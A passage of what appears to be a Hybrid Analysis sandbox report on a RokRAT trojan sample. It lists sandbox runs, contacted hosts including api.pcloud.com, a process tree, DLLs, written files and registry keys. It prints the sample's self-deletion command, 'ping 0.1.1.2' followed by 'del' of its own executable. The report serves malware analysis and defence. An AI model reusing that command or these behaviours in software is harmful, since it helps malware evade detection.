bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.RockRat","contacted_countries":["USA"],"submit_name":"RokRAT.exe","analysis_start_time":"2023-11-23T21:30:53+00:00","indicators_count":{"informative":104,"suspicious":29,"malicious":10},"tags":["Network Traffic"],"is_in_unified_schema":true},{"id":"655fbd29f8d3df669b02d5be","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.RockRat","contacted_countries":["USA"],"submit_name":"RokRAT.exe","analysis_start_time":"2023-11-23T20:59:22+00:00","indicators_count":{"informative":147,"suspicious":33,"malicious":8},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"5a87c68b7ca3e14b7817e2a3","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Johnnie","submit_name":"e1546323dc746ed2f7a5c973dcecc79b014b68bdd8a6230239283b4f775f4bbd","analysis_start_time":"2018-02-17T07:07:23+00:00","indicators_count":{"informative":8,"suspicious":4,"malicious":6},"tags":["Sample Crashed"],"is_in_unified_schema":true},{"id":"5a74acc37ca3e144cd3e1063","environment_id":110,"environment_description":"Windows 7 32 bit (HWP Support)","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Johnnie","submit_name":"e1546323dc746ed2f7a5c973dcecc79b014b68bdd8a6230239283b4f775f4bbd","analysis_start_time":"2018-02-02T22:01:11+00:00","indicators_count":{"informative":7,"suspicious":7,"malicious":6},"tags":["Sample Crashed"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"74.120.9.89","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"address":"74.120.8.15","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]}],"dns_resolutions":[{"domain":"api.pcloud.com","address":"74.120.9.89","ttl":7200,"country":"United States","registrar_name":"Moniker Online Services LLC","registrar_organization":"pCloud AG","registrar_name_servers":"NS-1533.AWSDNS-63.ORG","registrar_creation_date":"2007-12-12T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]}],"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5a74acc37ca3e144cd3e1063"}],"processes":[{"pid":2880,"ppid":0,"name":"e1546323dc746ed2f7a5c973dcecc79b014b68bdd8a6230239283b4f775f4bbd.exe","command_line":"","sha256":"e1546323dc746ed2f7a5c973dcecc79b014b68bdd8a6230239283b4f775f4bbd","normalized_path":"C:\\e1546323dc746ed2f7a5c973dcecc79b014b68bdd8a6230239283b4f775f4bbd.exe","uid":"00008867-00002880","icon":"$3f"},{"pid":1216,"ppid":2880,"name":"wscript.exe","command_line":"","sha256":"2160ba6829909eeb1d272ac4a5f43588750c0b4743477bf2b46952033b5d4b3b","normalized_path":"%WINDIR%\\System32\\wscript.exe","parent_uid":"00008867-00002880","uid":"00008946-00001216"},{"pid":2504,"ppid":2880,"name":"cmd.exe","command_line":"/C ping 0.1.1.2 -n 1 -w 4000 > nul & del \"C:\\e1546323dc746ed2f7a5c973dcecc79b014b68bdd8a6230239283b4f775f4bbd.exe\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00008867-00002880","uid":"00008956-00002504"},{"pid":2500,"ppid":2504,"name":"PING.EXE","command_line":"ping 0.1.1.2 -n 1 -w 4000","sha256":"4ca10dba7ff487fdb3f1362a3681d7d929f5aa1262cdfd31b04c30826983fb1d","normalized_path":"%WINDIR%\\System32\\PING.EXE","parent_uid":"00008956-00002504","uid":"00008958-00002500"}],"all_imported_dlls":["version.dll","rpcss.dll","uxtheme.dll","comctl32.dll","webio.dll","api-ms-win-downlevel-user32-l1-1-0.dll","advapi32.dll","sechost.dll","lpk.dll","msctf.dll","cryptbase.dll","msasn1.dll","dwmapi.dll","wininet.dll","kernel32.dll","imm32.dll","iertutil.dll","GdiPlus.dll","winnsi.dll","ws2_32.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","normaliz.dll","userenv.dll","api-ms-win-core-synch-l1-2-0.dll","sspicli.dll","IPHLPAPI.DLL","mswsock.dll","WSHTCPIP.DLL","shlwapi.dll","KernelBase.dll","gdi32.dll","api-ms-win-downlevel-version-l1-1-0.dll","profapi.dll","winbrand.dll","oleaut32.dll","shell32.dll","crypt32.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","ntdll.dll","rpcrt4.dll","user32.dll","wshext.dll","winhttp.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","wshqos.dll","wship6.dll","usp10.dll","ole32.dll","clbcatq.dll","nsi.dll","apphelp.dll","msvcrt.dll","urlmon.dll","wow64.dll","wow64cpu.dll","fltLib.dll","msvcp_win.dll","FWPUCLNT.DLL","ncrypt.dll","combase.dll","cfgmgr32.dll","WindowsCodecs.dll","windows.storage.dll","powrprof.dll","CoreMessaging.dll","ntmarta.dll","ntasn1.dll","cryptsp.dll","kernel.appcore.dll","rasadhlp.dll","schannel.dll","OnDemandConnRouteHelper.dll","rsaenh.dll","win32u.dll","mskeyprotect.dll","dpapi.dll","ucrtbase.dll","ncryptsslp.dll","SHCore.dll","dnsapi.dll","gpapi.dll","TextInputFramework.dll","WinTypes.dll","VxSSL32.dll","gdi32full.dll","bcrypt.dll","CoreUIComponents.dll","wow64win.dll","bcryptprimitives.dll","cryptnet.dll","dhcpcsvc6.dll","SensApi.dll","dhcpcsvc.dll","Wldap32.dll","credssp.dll","secur32.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"3D6C4AE1.tmp","sha256":"aae0f44c8b3ed9c0fbf5abddd565143e69ccefa78639926db32dcbb2367765f1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"name":"48230029.tmp","sha256":"f37c6f3c108a162bcbb092ac523f601a8a787639b6565e5459aff98bcfd67f2d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"name":"678418BE.tmp","sha256":"aae0f44c8b3ed9c0fbf5abddd565143e69ccefa78639926db32dcbb2367765f1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"name":"72AE2CD6.tmp","sha256":"6e5f3e0bf6a6dba9f9c04d6165a57241a2691934549f905200027b9c074f3578","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]}],"files_written":[{"path":"%WINDIR%\\System32\\wscript.exe","sources":[{"report_type":"sandbox","report_id":"5a74acc37ca3e144cd3e1063"},{"report_type":"sandbox","report_id":"5a87c68b7ca3e14b7817e2a3"}]},{"path":"%WINDIR%\\system32\\en\\wscript.exe.mui","sources":[{"report_type":"sandbox","report_id":"5a74acc37ca3e144cd3e1063"},{"report_type":"sandbox","report_id":"5a87c68b7ca3e14b7817e2a3"}]},{"path":"%WINDIR%\\System32\\en-US\\wscript.exe.mui","sources":[{"report_type":"sandbox","report_id":"5a74acc37ca3e144cd3e1063"},{"report_type":"sandbox","report_id":"5a87c68b7ca3e14b7817e2a3"}]},{"path":"%WINDIR%\\System32\\en-US\\wshext.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a74acc37ca3e144cd3e1063"},{"report_type":"sandbox","report_id":"5a87c68b7ca3e14b7817e2a3"}]},{"path":"%WINDIR%\\winsxs\\x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_5.82.7600.16385_en-us_020378a8991bbcc2\\comctl32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a74acc37ca3e144cd3e1063"},{"report_type":"sandbox","report_id":"5a87c68b7ca3e14b7817e2a3"}]},{"path":"%WINDIR%\\Fonts\\StaticCache.dat","sources":[{"report_type":"sandbox","report_id":"5a74acc37ca3e144cd3e1063"},{"report_type":"sandbox","report_id":"5a87c68b7ca3e14b7817e2a3"}]},{"path":"%WINDIR%\\System32\\en-US\\ping.exe.mui","sources":[{"report_type":"sandbox","report_id":"5a74acc37ca3e144cd3e1063"},{"report_type":"sandbox","report_id":"5a87c68b7ca3e14b7817e2a3"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5a74acc37ca3e144cd3e1063"},{"report_type":"sandbox","report_id":"5a87c68b7ca3e14b7817e2a3"}]},{"path":"%WINDIR%\\System32\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a74acc37ca3e144cd3e1063"},{"report_type":"sandbox","report_id":"5a87c68b7ca3e14b7817e2a3"}]},{"path":"%WINDIR%\\System32\\en-US\\msctf.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a87c68b7ca3e14b7817e2a3"}]},{"path":"%WINDIR%\\System32\\en-US\\cmd.exe.mui","sources":[{"report_type":"sandbox","report_id":"5a87c68b7ca3e14b7817e2a3"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5a87c68b7ca3e14b7817e2a3"}]},{"path":"%WINDIR%\\System32\\PING.EXE","sources":[{"report_type":"sandbox","report_id":"5a87c68b7ca3e14b7817e2a3"}]},{"path":"%WINDIR%\\System32\\en-US\\iphlpapi.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a87c68b7ca3e14b7817e2a3"}]},{"path":"\\FileSystem\\Filters\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{EDF90A16-5DC7-4102-B811-8837E23F5ADB}","sources":[{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\CONNECTIONS\\","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"Local\\SM0:4360:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"name":"SM0:4360:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]}]}},"report_ids":{"sandbox_job_ids":["655fc48d38dd107bd0073ebe","655fbd29f8d3df669b02d5be","5a87c68b7ca3e14b7817e2a3","5a74acc37ca3e144cd3e1063"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Malware Sample e1546323dc74… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample e1546323dc74…. Malware family: Malware. Threat score 100/100. 24/27 AV engines flagged this file. 10 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/e1546323dc746ed2f7a5c973dcecc79b014b68bdd8a6230239283b4f775f4bbd"}],["$","meta","4",{"property":"og:title","content":"Malicious Malware Sample e1546323dc74… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample e1546323dc74…. Malware family: Malware. Threat score 100/100. 24/27 AV engines flagged this file. 10 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/e1546323dc746ed2f7a5c973dcecc79b014b68bdd8a6230239283b4f775f4bbd"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Malware Sample e1546323dc74… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample e1546323dc74…. Malware family: Malware. Threat score 100/100. 24/27 AV engines flagged this file. 10 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L40","11",{}]]